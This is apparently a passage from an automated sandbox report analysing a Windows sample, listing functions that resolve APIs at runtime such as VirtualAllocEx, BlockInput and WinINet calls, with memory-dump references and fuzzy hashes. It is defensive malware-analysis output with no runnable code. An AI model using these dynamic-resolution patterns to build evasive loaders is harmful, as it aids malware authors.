      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: EnumProcessModules$Psapi.dll
      • API String ID: 2574300362-751739868
      • Opcode ID: dca742bf0c2191a18ea4fe831902174497c2352ed576befcdaccc270da9a43b6
      • Instruction ID: 62cb81f13000a8f0cdb4eca7f8b3d29870d74f906e8d53b8d7c9d3e7b9002be5
      • Opcode Fuzzy Hash: dca742bf0c2191a18ea4fe831902174497c2352ed576befcdaccc270da9a43b6
      • Instruction Fuzzy Hash: 26D0C9B4942302EACB209F65C84975676E8AF20707F21C86AF889D1252D778D484CA1D
      Function 00416435 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(Psapi.dll,004147CB,00000000,76230F00,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022D5978,00479E08), ref: 00416440
      • GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00416452
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: GetModuleBaseNameW$Psapi.dll
      • API String ID: 2574300362-3411073148
      • Opcode ID: e5c48572f6529f94537383b70a5a634ed20031b773c13a46fdf1be52ef221d82
      • Instruction ID: 1d527614041dbbbff0230691deebb7a116d124e4bb4cc2624b0546b3f0bf7ad4
      • Opcode Fuzzy Hash: e5c48572f6529f94537383b70a5a634ed20031b773c13a46fdf1be52ef221d82
      • Instruction Fuzzy Hash: 11D0C9B0940302EADB208F71C8697167BE8AF10703F21CC6AF88AD1251D778C584CE1D
      Function 004124CB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(kernel32.dll,004124A7,?,004123DC,00000000,00000000,?,00001000,00000004,?,00000800,?,004029FA,00000800), ref: 004124D6
      • GetProcAddress.KERNEL32(00000000,VirtualAllocEx), ref: 004124E8
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: VirtualAllocEx$kernel32.dll
      • API String ID: 2574300362-4123781057
      • Opcode ID: ac77adb85ffff738263622ca5f465b0932883e972d6436550eac2d7088bc0854
      • Instruction ID: 4ea207f8d300591824fdddc5101b73d117a3650087baea29c81dc6a0e988711c
      • Opcode Fuzzy Hash: ac77adb85ffff738263622ca5f465b0932883e972d6436550eac2d7088bc0854
      • Instruction Fuzzy Hash: D3D09270540703AACB209F65888971276A8AB41742F20C86AFC99D2262DBB8A4849A18
      Function 004124F2 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(kernel32.dll,004124BD,?,0041232F,?,?,00000000,00008000,?,?,00000000,00402A3C,?,00000406,00000000,00000000), ref: 004124FD
      • GetProcAddress.KERNEL32(00000000,VirtualFreeEx), ref: 0041250F
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: VirtualFreeEx$kernel32.dll
      • API String ID: 2574300362-1049216354
      • Opcode ID: 04932301f2a78cefe13b07c69231992dba8d4483a09363a98b225d0f638a4b1c
      • Instruction ID: 6da001b12922d3df2c6c474ef46ecd45665f6b37187fb57d2993ef705c1d34b1
      • Opcode Fuzzy Hash: 04932301f2a78cefe13b07c69231992dba8d4483a09363a98b225d0f638a4b1c
      • Instruction Fuzzy Hash: A0D09270580702AADB309F61898971276A8AB10707F20886AA899E2252D7B8D4848A69
      Function 004265CA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(kernel32.dll,0042476F), ref: 004265D5
      • GetProcAddress.KERNEL32(00000000,CreateHardLinkW), ref: 004265E7
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: CreateHardLinkW$kernel32.dll
      • API String ID: 2574300362-294928789
      • Opcode ID: aaf9ae32a098f21c7d34c0c2c7b5f3892074f661c523aa0547104ae0aadf32d8
      • Instruction ID: 9b13fefce5e6226982f924ed578a84b6c2732edf1a0fe20b4d9930c0dc0723ad
      • Opcode Fuzzy Hash: aaf9ae32a098f21c7d34c0c2c7b5f3892074f661c523aa0547104ae0aadf32d8
      • Instruction Fuzzy Hash: DFD0C770680703EEC7605F61E85971376D46F21703F14887EF455D1255EBB8D484C71D
      Function 004265F1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(shell32.dll,00425246), ref: 004265FC
      • GetProcAddress.KERNEL32(00000000,SHEmptyRecycleBinW), ref: 0042660E
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: SHEmptyRecycleBinW$shell32.dll
      • API String ID: 2574300362-2648762502
      • Opcode ID: 5c5870679de98fa3a7f171b2adc597053b1240f36dedf80deb4db5d465042c9f
      • Instruction ID: 69feca8f4b5e5024963817c407de152b5a8bb493189561f5f2a67b8f08b708d8
      • Opcode Fuzzy Hash: 5c5870679de98fa3a7f171b2adc597053b1240f36dedf80deb4db5d465042c9f
      • Instruction Fuzzy Hash: 3AD0C9B0690302EBCB204F61E84D7237AE8AF14702F2088AEF4C5D2251E778CC40CA1D
      Function 004265A3 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(kernel32.dll,00424144,00000000,00000000), ref: 004265AE
      • GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExW), ref: 004265C0
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: GetDiskFreeSpaceExW$kernel32.dll
      • API String ID: 2574300362-1127948838
      • Opcode ID: ed3e403a5b733a6f55669303d0031102fcebbe94640a3d4ebf8c367d74782769
      • Instruction ID: 56f10fb3c108574ad7c62506ca6988ab3858942f7107cd8a287994bf9634255d
      • Opcode Fuzzy Hash: ed3e403a5b733a6f55669303d0031102fcebbe94640a3d4ebf8c367d74782769
      • Instruction Fuzzy Hash: F5D0C974640702EECB209F61E88971376E8AF10703F20886EF499D2259D778C884CB5D
      Function 004418D4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(user32.dll,004413C5), ref: 004418DF
      • GetProcAddress.KERNEL32(00000000,MonitorFromPoint), ref: 004418F1
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: MonitorFromPoint$user32.dll
      • API String ID: 2574300362-355800951
      • Opcode ID: 92819eae385e9d12839bf3ea17687f83216c2e149adf21791c5037f7f1619343
      • Instruction ID: d816af7e206fa6fb37d144fb02bdc24e08f93184c1c263658b26d2d31832ab4b
      • Opcode Fuzzy Hash: 92819eae385e9d12839bf3ea17687f83216c2e149adf21791c5037f7f1619343
      • Instruction Fuzzy Hash: 88D0C970540703EEDB20AF61C88971276E8BF20713F20887BB88BD2261DB7CC480DA1D
      Function 004418FB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(user32.dll,004413D3), ref: 00441906
      • GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 00441918
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: GetMonitorInfoW$user32.dll
      • API String ID: 2574300362-3787768890
      • Opcode ID: 87460ed2882eeec03f62f8abfe9a272826d6655d9327dffbe0991a640beb69e2
      • Instruction ID: 1973df5bb126482aae2e4e6a8735d8a15de43624a53d5d51aca769ce645b95dc
      • Opcode Fuzzy Hash: 87460ed2882eeec03f62f8abfe9a272826d6655d9327dffbe0991a640beb69e2
      • Instruction Fuzzy Hash: 56D0C9B0540702EEDB205FE1C889712B6E8EB54703F208C7BF889D1661E77CC480CA1D
      Function 0040D903 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(user32.dll,0040AD7E), ref: 0040D90E
      • GetProcAddress.KERNEL32(00000000,SetLayeredWindowAttributes), ref: 0040D920
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: SetLayeredWindowAttributes$user32.dll
      • API String ID: 2574300362-3673630139
      • Opcode ID: 0b9319c72a3938820b8e29fe754c2ff4bd06b79e130f39b896147091e9f707c9
      • Instruction ID: d95a0980b9b24fbccb637a881063bc43dac3bd5ace8db47cbba05e6c3ea30a14
      • Opcode Fuzzy Hash: 0b9319c72a3938820b8e29fe754c2ff4bd06b79e130f39b896147091e9f707c9
      • Instruction Fuzzy Hash: 22D0C9B4980302EECB205FA1C8897227BE8EB14703F20887BF889E1291D778C448CA5C
      Function 0042FD05 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(Wininet.dll,0042A928), ref: 0042FD10
      • GetProcAddress.KERNEL32(00000000,InternetReadFile), ref: 0042FD22
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: InternetReadFile$Wininet.dll
      • API String ID: 2574300362-924813344
      • Opcode ID: 0b024437d5a358529518af0740c8c3f3769af86ed8bba1f9015ea3fd8d59a6c0
      • Instruction ID: 0738d51040bf5b37f2d3baf1b8c1fd70f6f3e5145db968a4aeea1ded9e3f9793
      • Opcode Fuzzy Hash: 0b024437d5a358529518af0740c8c3f3769af86ed8bba1f9015ea3fd8d59a6c0
      • Instruction Fuzzy Hash: 1ED0C970651316EEEB205FB1D8497137AF8AB54702F608C7EB48AD1261EBB8D444CA5E
      Function 0042FE76 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(user32.dll,0042A1CD), ref: 0042FE81
      • GetProcAddress.KERNEL32(00000000,BlockInput), ref: 0042FE93
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: BlockInput$user32.dll
      • API String ID: 2574300362-2937418566
      • Opcode ID: 404e9111c6e6801255c94cdd9c4d6e53c8d3ef9f70bd27f46ab3d7b24d408f0c
      • Instruction ID: 5cf9de07a1d2d069aa2e7b4fdd9df96ea71fdfaea9e6c567f07273b76baa48ce
      • Opcode Fuzzy Hash: 404e9111c6e6801255c94cdd9c4d6e53c8d3ef9f70bd27f46ab3d7b24d408f0c
      • Instruction Fuzzy Hash: 23D0C970640303EECB206F65D8897137AF8AB54703F60887BB499D1662D778D444CA2D
      Function 0040EE00 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(kernel32.dll,0040ED52), ref: 0040EE0B
      • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 0040EE1D
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: GetNativeSystemInfo$kernel32.dll
      • API String ID: 2574300362-192647395
      • Opcode ID: 0b96ee1863518c42de66b1f26a690429182ced4a93e9530b1a523ccbf49fe990
      • Instruction ID: 4ae1193dba9c48cb0c5664eca05f475a23552d859b8bf3b4555ea32bba526360
      • Opcode Fuzzy Hash: 0b96ee1863518c42de66b1f26a690429182ced4a93e9530b1a523ccbf49fe990
      • Instruction Fuzzy Hash: 90D09270940706EFCB309F62C88971376A8AB04742F20886EA899A2292D77894448A58
      Function 0040EE27 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(kernel32.dll,0040EDDC,00000000,0040ED1A,00000000), ref: 0040EE32
      • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 0040EE44
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: IsWow64Process$kernel32.dll
      • API String ID: 2574300362-3024904723
      • Opcode ID: 1e4c4c52eaf14ae59e37d506b1a8826225f3cb419422225db61ca319c80d633e
      • Instruction ID: 4d2749d2037bdd5891abe0ff91837f8b9674c2f4ff14754d6a40b5c982573c9e
      • Opcode Fuzzy Hash: 1e4c4c52eaf14ae59e37d506b1a8826225f3cb419422225db61ca319c80d633e
      • Instruction Fuzzy Hash: CFD0C9B0540706EECB219F62CC89B1376E8AB10703F248C7BF899E2291D778C444CB5C
      Function 0042FEC4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(Wininet.dll,0042FD60,00000000,0042AA4D,?,?,?,?,?,00000001,00000000,00000000,00000002,00000000,00000002,?), ref: 0042FECF
      • GetProcAddress.KERNEL32(00000000,InternetConnectW), ref: 0042FEE1
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: InternetConnectW$Wininet.dll
      • API String ID: 2574300362-1624158369
      • Opcode ID: d55e37cb5c0b998d5704e0510165499c229194de1f36175613f9725cb941f9c2
      • Instruction ID: 6beab622e64ffd3ffafc19c2bb0389d1e9587c3fa6564a3e8a594d243805a38b
      • Opcode Fuzzy Hash: d55e37cb5c0b998d5704e0510165499c229194de1f36175613f9725cb941f9c2
      • Instruction Fuzzy Hash: 9CD0C770641302EFC7509F61E849B2376F4BB50713F51887EB486D1161D778C444CA1E
      Function 0042FEEB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(Wininet.dll,0042AF68), ref: 0042FEF6
      • GetProcAddress.KERNEL32(00000000,FtpGetFileSize), ref: 0042FF08
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
